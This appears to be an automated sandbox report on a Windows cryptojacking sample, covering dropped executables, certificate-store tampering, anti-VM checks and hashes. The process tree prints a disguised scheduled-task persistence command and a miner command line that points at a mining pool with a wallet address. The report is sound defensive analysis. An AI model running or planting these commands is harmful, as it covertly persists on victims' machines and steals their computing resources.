Analysis
-
max time kernel
44s -
max time network
134s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
23-02-2021 08:00
Static task
static1
Behavioral task
behavioral1
Sample
a5d3fdf55abb54ec0b632dee9d3459d4.exe
Resource
win7v20201028
General
-
Target
a5d3fdf55abb54ec0b632dee9d3459d4.exe
-
Size
2.5MB
-
MD5
a5d3fdf55abb54ec0b632dee9d3459d4
-
SHA1
c177421eb77f0d341e5d1bd6cfbccb60e0c86a1c
-
SHA256
677618666eb31c80e9dbecb17907676d2da2a39d24f7c20785ef577239ef5e6f
-
SHA512
4faafc484d66545a3355ba4d76da6dd021b556a06ec5b15fa8b4b8a4f1161b44ffad5e654991cf658fc6bd49b458e59586155dfdf339e1150b278ff5b9a41324
Malware Config
Signatures
-
Detected Stratum cryptominer command
Looks to be attempting to contact Stratum mining pool.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
XMRig Miner Payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/1700-32-0x000000013F650000-0x0000000140808000-memory.dmp xmrig -
Executes dropped EXE 4 IoCs
Processes:
bfoowpyo.exeakta5s5h.execpu.exeRantimeBroker.exepid process 1740 bfoowpyo.exe 1120 akta5s5h.exe 1700 cpu.exe 1548 RantimeBroker.exe -
Checks BIOS information in registry 2 TTPs 6 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
a5d3fdf55abb54ec0b632dee9d3459d4.exebfoowpyo.exeakta5s5h.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion a5d3fdf55abb54ec0b632dee9d3459d4.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion bfoowpyo.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion bfoowpyo.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion akta5s5h.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion akta5s5h.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion a5d3fdf55abb54ec0b632dee9d3459d4.exe -
Loads dropped DLL 3 IoCs
Processes:
a5d3fdf55abb54ec0b632dee9d3459d4.exeakta5s5h.exepid process 792 a5d3fdf55abb54ec0b632dee9d3459d4.exe 792 a5d3fdf55abb54ec0b632dee9d3459d4.exe 1120 akta5s5h.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule behavioral1/memory/792-5-0x0000000000120000-0x0000000000121000-memory.dmp themida \Users\Admin\AppData\Local\bfoowpyo.exe themida C:\Users\Admin\AppData\Local\bfoowpyo.exe themida behavioral1/memory/1740-14-0x00000000009D0000-0x00000000009D1000-memory.dmp themida \Users\Admin\AppData\Local\akta5s5h.exe themida C:\Users\Admin\AppData\Local\akta5s5h.exe themida behavioral1/memory/1120-23-0x0000000000E30000-0x0000000000E31000-memory.dmp themida C:\Users\Admin\AppData\Local\akta5s5h.exe themida C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exe themida C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exe themida -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
a5d3fdf55abb54ec0b632dee9d3459d4.exebfoowpyo.exeakta5s5h.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA a5d3fdf55abb54ec0b632dee9d3459d4.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA bfoowpyo.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA akta5s5h.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
Processes:
a5d3fdf55abb54ec0b632dee9d3459d4.exebfoowpyo.exeakta5s5h.exepid process 792 a5d3fdf55abb54ec0b632dee9d3459d4.exe 1740 bfoowpyo.exe 1120 akta5s5h.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Processes:
akta5s5h.exea5d3fdf55abb54ec0b632dee9d3459d4.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e akta5s5h.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 a5d3fdf55abb54ec0b632dee9d3459d4.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e a5d3fdf55abb54ec0b632dee9d3459d4.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e a5d3fdf55abb54ec0b632dee9d3459d4.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 akta5s5h.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
akta5s5h.exepid process 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe 1120 akta5s5h.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
a5d3fdf55abb54ec0b632dee9d3459d4.exeakta5s5h.execpu.exebfoowpyo.exedescription pid process Token: SeDebugPrivilege 792 a5d3fdf55abb54ec0b632dee9d3459d4.exe Token: SeDebugPrivilege 1120 akta5s5h.exe Token: SeLockMemoryPrivilege 1700 cpu.exe Token: SeLockMemoryPrivilege 1700 cpu.exe Token: SeDebugPrivilege 1740 bfoowpyo.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
a5d3fdf55abb54ec0b632dee9d3459d4.exeakta5s5h.exetaskeng.exedescription pid process target process PID 792 wrote to memory of 1740 792 a5d3fdf55abb54ec0b632dee9d3459d4.exe bfoowpyo.exe PID 792 wrote to memory of 1740 792 a5d3fdf55abb54ec0b632dee9d3459d4.exe bfoowpyo.exe PID 792 wrote to memory of 1740 792 a5d3fdf55abb54ec0b632dee9d3459d4.exe bfoowpyo.exe PID 792 wrote to memory of 1740 792 a5d3fdf55abb54ec0b632dee9d3459d4.exe bfoowpyo.exe PID 792 wrote to memory of 1120 792 a5d3fdf55abb54ec0b632dee9d3459d4.exe akta5s5h.exe PID 792 wrote to memory of 1120 792 a5d3fdf55abb54ec0b632dee9d3459d4.exe akta5s5h.exe PID 792 wrote to memory of 1120 792 a5d3fdf55abb54ec0b632dee9d3459d4.exe akta5s5h.exe PID 792 wrote to memory of 1120 792 a5d3fdf55abb54ec0b632dee9d3459d4.exe akta5s5h.exe PID 1120 wrote to memory of 1636 1120 akta5s5h.exe schtasks.exe PID 1120 wrote to memory of 1636 1120 akta5s5h.exe schtasks.exe PID 1120 wrote to memory of 1636 1120 akta5s5h.exe schtasks.exe PID 1120 wrote to memory of 1636 1120 akta5s5h.exe schtasks.exe PID 1120 wrote to memory of 1700 1120 akta5s5h.exe cpu.exe PID 1120 wrote to memory of 1700 1120 akta5s5h.exe cpu.exe PID 1120 wrote to memory of 1700 1120 akta5s5h.exe cpu.exe PID 1120 wrote to memory of 1700 1120 akta5s5h.exe cpu.exe PID 632 wrote to memory of 1548 632 taskeng.exe RantimeBroker.exe PID 632 wrote to memory of 1548 632 taskeng.exe RantimeBroker.exe PID 632 wrote to memory of 1548 632 taskeng.exe RantimeBroker.exe PID 632 wrote to memory of 1548 632 taskeng.exe RantimeBroker.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\a5d3fdf55abb54ec0b632dee9d3459d4.exe"C:\Users\Admin\AppData\Local\Temp\a5d3fdf55abb54ec0b632dee9d3459d4.exe"1⤵
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\bfoowpyo.exe"C:\Users\Admin\AppData\Local\bfoowpyo.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\akta5s5h.exe"C:\Users\Admin\AppData\Local\akta5s5h.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 1 /tn "Windows Service © Microsoft Corporation" /tr "C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exe" /f3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\Windows\CPU\cpu.exe"C:\Users\Admin\AppData\Roaming\Windows\CPU\cpu.exe" -o stratum+tcp://pool.minexmr.com:4444 --algo cn/r -u 42ZYH6myZTcdLqfmCpSCggN8ppdku4PK16kH8UFFyTesddFwT5ihd2QFsWS2BGnuwXWfnrtbJbr5w7dqgeBRZDJcUzia53j./ --donate-level=13⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskeng.exetaskeng.exe {29B1569B-33EB-4134-9D7A-87BDBF71F668} S-1-5-21-3825035466-2522850611-591511364-1000:EIDQHRRL\Admin:Interactive:[1]1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exeC:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exe2⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\akta5s5h.exeMD5
f0ecefed65b00699cc2b57bf81492f56
SHA14e0fbc13af6c373c9944a53a40965517b619c274
SHA25683f953427624eaba72e6d34339b4004c3614657bfe9fb601eca7e76410b71325
SHA51283bfdd06bf7e3497d6d0ec1686ede07d11003057919cdb74b3224e1deeb6dfa9259a83344c419ca0b2dec4cd42292c6047d842eeb09cf3459d6ac6c21130533f
-
C:\Users\Admin\AppData\Local\akta5s5h.exeMD5
f0ecefed65b00699cc2b57bf81492f56
SHA14e0fbc13af6c373c9944a53a40965517b619c274
SHA25683f953427624eaba72e6d34339b4004c3614657bfe9fb601eca7e76410b71325
SHA51283bfdd06bf7e3497d6d0ec1686ede07d11003057919cdb74b3224e1deeb6dfa9259a83344c419ca0b2dec4cd42292c6047d842eeb09cf3459d6ac6c21130533f
-
C:\Users\Admin\AppData\Local\bfoowpyo.exeMD5
70dca411445d3b4394d9c467bf3ff994
SHA183f9120b2b184eb991d1dcbf4bb13d5f2f4a6097
SHA2561d1f06c0d0965296755770b3f6a70a90e0d21a57ef5e47f9a26fcc4008ad45ef
SHA5124a2f84a8fb4bb0eba8402eb417cadb8bcef6ac309ee4918a698cab756ea888ff076545e1ed02f85f5705fe15f7eb7ec01b68c3bc98f74b4e13f5b8e4f0184cd6
-
C:\Users\Admin\AppData\Roaming\Windows\CPU\cpu.exeMD5
e95f766a3748042efbf0f05d823f82b7
SHA1fa4a29f9b95f4491e07eba54a677d52d8d061a19
SHA2561aef2fba4058ad80e4ae16dce0d2609e9f946ba9a4f2203891a26a92b3f6578c
SHA512e4d61199b57ae189c2bef7adc661224cfb00e9d6b3526c07624911238aad2d81d9548b52db1c6dbbf4a0e3f766d57080d2414ca836e037f0bb39728d1f1af55c
-
C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exeMD5
f0ecefed65b00699cc2b57bf81492f56
SHA14e0fbc13af6c373c9944a53a40965517b619c274
SHA25683f953427624eaba72e6d34339b4004c3614657bfe9fb601eca7e76410b71325
SHA51283bfdd06bf7e3497d6d0ec1686ede07d11003057919cdb74b3224e1deeb6dfa9259a83344c419ca0b2dec4cd42292c6047d842eeb09cf3459d6ac6c21130533f
-
C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exeMD5
f0ecefed65b00699cc2b57bf81492f56
SHA14e0fbc13af6c373c9944a53a40965517b619c274
SHA25683f953427624eaba72e6d34339b4004c3614657bfe9fb601eca7e76410b71325
SHA51283bfdd06bf7e3497d6d0ec1686ede07d11003057919cdb74b3224e1deeb6dfa9259a83344c419ca0b2dec4cd42292c6047d842eeb09cf3459d6ac6c21130533f
-
\Users\Admin\AppData\Local\akta5s5h.exeMD5
f0ecefed65b00699cc2b57bf81492f56
SHA14e0fbc13af6c373c9944a53a40965517b619c274
SHA25683f953427624eaba72e6d34339b4004c3614657bfe9fb601eca7e76410b71325
SHA51283bfdd06bf7e3497d6d0ec1686ede07d11003057919cdb74b3224e1deeb6dfa9259a83344c419ca0b2dec4cd42292c6047d842eeb09cf3459d6ac6c21130533f
-
\Users\Admin\AppData\Local\bfoowpyo.exeMD5
70dca411445d3b4394d9c467bf3ff994
SHA183f9120b2b184eb991d1dcbf4bb13d5f2f4a6097
SHA2561d1f06c0d0965296755770b3f6a70a90e0d21a57ef5e47f9a26fcc4008ad45ef
SHA5124a2f84a8fb4bb0eba8402eb417cadb8bcef6ac309ee4918a698cab756ea888ff076545e1ed02f85f5705fe15f7eb7ec01b68c3bc98f74b4e13f5b8e4f0184cd6
-
\Users\Admin\AppData\Roaming\Windows\CPU\cpu.exeMD5
e95f766a3748042efbf0f05d823f82b7
SHA1fa4a29f9b95f4491e07eba54a677d52d8d061a19
SHA2561aef2fba4058ad80e4ae16dce0d2609e9f946ba9a4f2203891a26a92b3f6578c
SHA512e4d61199b57ae189c2bef7adc661224cfb00e9d6b3526c07624911238aad2d81d9548b52db1c6dbbf4a0e3f766d57080d2414ca836e037f0bb39728d1f1af55c
-
memory/792-2-0x0000000076861000-0x0000000076863000-memory.dmpFilesize
8KB
-
memory/792-7-0x0000000000BD0000-0x0000000000BD1000-memory.dmpFilesize
4KB
-
memory/792-5-0x0000000000120000-0x0000000000121000-memory.dmpFilesize
4KB
-
memory/792-4-0x00000000748A0000-0x0000000074F8E000-memory.dmpFilesize
6.9MB
-
memory/1120-18-0x0000000000000000-mapping.dmp
-
memory/1120-22-0x00000000748A0000-0x0000000074F8E000-memory.dmpFilesize
6.9MB
-
memory/1120-23-0x0000000000E30000-0x0000000000E31000-memory.dmpFilesize
4KB
-
memory/1120-25-0x0000000002970000-0x0000000002971000-memory.dmpFilesize
4KB
-
memory/1548-36-0x0000000000000000-mapping.dmp
-
memory/1636-27-0x0000000000000000-mapping.dmp
-
memory/1700-31-0x0000000000080000-0x0000000000094000-memory.dmpFilesize
80KB
-
memory/1700-29-0x0000000000000000-mapping.dmp
-
memory/1700-32-0x000000013F650000-0x0000000140808000-memory.dmpFilesize
17.7MB
-
memory/1700-33-0x0000000000470000-0x0000000000490000-memory.dmpFilesize
128KB
-
memory/1700-34-0x0000000001D30000-0x0000000001D50000-memory.dmpFilesize
128KB
-
memory/1740-16-0x00000000056A0000-0x00000000056A1000-memory.dmpFilesize
4KB
-
memory/1740-14-0x00000000009D0000-0x00000000009D1000-memory.dmpFilesize
4KB
-
memory/1740-13-0x00000000748A0000-0x0000000074F8E000-memory.dmpFilesize
6.9MB
-
memory/1740-9-0x0000000000000000-mapping.dmp